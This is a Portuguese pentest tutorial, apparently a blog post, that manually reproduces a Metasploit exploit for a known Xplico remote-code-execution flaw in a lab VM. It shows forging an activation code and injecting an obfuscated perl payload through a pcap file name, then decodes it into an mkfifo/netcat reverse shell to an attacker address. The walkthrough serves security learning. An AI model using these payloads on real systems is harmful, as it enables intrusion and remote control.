Além do Metasploit

Nuts About Sec
NutsAboutSec
Published in
4 min readFeb 1, 2019
O que realmente acontece nos bastidores

Bom, este é meu primeiro post e estou muito animado em trazer um conteúdo que irá fazer você pensar fora da caixa. A principal ideia é destrinchar um exploit conhecido no Metasploit e entender o que está acontecendo por trás de todo processo automatizado. Eu tenho percebido muitas pessoas que ficam abitoladas com o metasploit e quando precisam de uma exploração manual acabam se perdendo. Por isso, aqui vai.

A aplicação utilizada para este post chama-se Xplico.

“Open Source Network Forensic Analysis Tool (NFAT)” O principal objetivo do Xplico é auxiliar na análise forense de arquivos PCAPs e as versões < 1.2.1 tem uma vulnerabilidade conhecida de RCE (Remote Code Execution). Para fazer a PoC (Proof of concept), vou utilizar uma VM (Virtual Machine).

No caso do Xplico, para conseguir de fato o nosso tão valioso RCE nós precisamos explorar 3 vulnerabilidades diferentes:

  1. Recurso de registro de usuário oculto
  2. Algoritimo de randomização fraca usado durante a geração de código de ativação
  3. Injeção de comando autenticada
Configurando o Metasploit

Agora vamos ver quão fácil é explorar essa versão vulnerável usando Metasploit e depois comparar com a exploração manual.

Dentro do msfconsole nós apenas temos que procurar pelo exploit, definir o payload a digitar exploit.

PoC usando Metasploit

Como você pode ver, não é necessário ser um expert para explorar desse jeito, mas se você prestar atenção, a saída do exploit está mostrando tudo que acontece antes de ganharmos a shell. Então vamos enteder o que é isso e tentar replicar manualmente.

Primeiro passo é entender o que foi mostrado no Metasploit.

“A principal idéia dessa exploração é criar um usuário, calcular o código de ativação, validar o usuário criado, conectar na aplicação e fazer o upload do arquivo pcap. Mesmo se soubéssemos as credenciais de admin, usuários administradores não tem permissão de criar um novo caso e fazer o upload.”

Exploração Manual

Agora vamos utilizar o Burp suite para registrar um novo usuário e capturar o e-mail, usuário, senha e o tempo de resposta do registro. Com todas essas informações vamos ser capazes de gerar o nosso próprio código de ativação.

E-mail, usuário e senha

Faltando apenas o tempo de resposta, basta olharmos a aba “response” do Burp.

Resposta da mesma requisição

Juntando todas essas informações com o código PHP que gera um novo código de ativação, seremos capazes de registrar nosso própio usuário mesmo sem receber a confirmação por e-mail.

Código PHP que gera o código de ativação

Pronto, temos nosso código de ativação: 59935aab0e42ce936192e12ba18d0646.

Agora é só acessar o link: 192.168.1.107:9876/users/registerConfirm/59935aab0e42ce936192e12ba18d0646

Obs: A validação do usuário pode falhar se a aplicação demorar para responder.

Com o nosso usuário registrado nós podemos fazer o login e o upload do arquivo PCAP. Para isso, clique em “new case” escolha um nome para o caso, clique em “new session” e escolha o nome para sua nova sessão.

Página depois de criar um novo caso e sessão.

Para ter um melhor entendimento de como o Metasploit envia o payload, resolvi subir o wireshark e capturei todo tráfego enquanto a exploração automatizada estava acontecendo e analisei.

Payload enviado pelo Metasploit

Agora sabemos como o Metasploit envia o payload! Essa vulnerabilidade é baseada no seguinte código do Xplico:

sh –c md5sum “/opt/xplico/pol_1/sol_1/new/[NAME_OF_PCAP_FILE]” > /tmp/dema_hash.txt

Como você pode ver, se colocarmos algo diferente no nome do arquivo pcap, nós podemos escapar o código da aplicação e executar o nosso:

"`perl -e system(pack(qq,H206,,qq,6d6b6669666f202f746d702f6d6a726f6e67633b206e63203139322e3136382e312e313032203434343420303c2f746d702f6d6a726f6e6763207c202f62696e2f7368203e2f746d702f6d6a726f6e676320323e26313b20726d202f746d702f6d6a726f6e6763,))’)`”

Se decodarmos o hexadecimal acima, vamos obter o seguinte código:

“mkfifo /tmp/mjrongc; nc 192.168.1.102 4444 0</tmp/mjrongc | /bin/sh >/tmp/mjrongc 2>&1; rm /tmp/mjrongc”.

Esse foi o payload utilizado pelo Metasploit, agora podemos gerar o nosso própio payload e enviar. Vamos fazer o upload do mesmo arquivo pcap que capturei anteriormente.

Função repeater do burp enviando o payload

Nesse momento, apenas enviei meu payload no lugar do nome do arquivo e alterei o Content-Type: application/octet-stream para fazer com que ele execute o payload.

Agora temos uma shell dentro da aplicação! Com isso, nós podemos entender como a vulnerabilidade funciona e como explorá-la manualmente. Para ser um bom Pentester precisamos enxergar além do Metasploit. Não temos que depender de uma única ferramenta, as ferramentas foram feitas para nos auxiliar e não para fazer todo o trabalho.

Fontes:

https://www.exploit-db.com/exploits/43430
https://pentest.blog/advisory-xplico-unauthenticated-remote-code-execution-cve-2017-16666/

Escritor:

Allan Trindad, veja este artigo em inglês no meu perfil.

--

--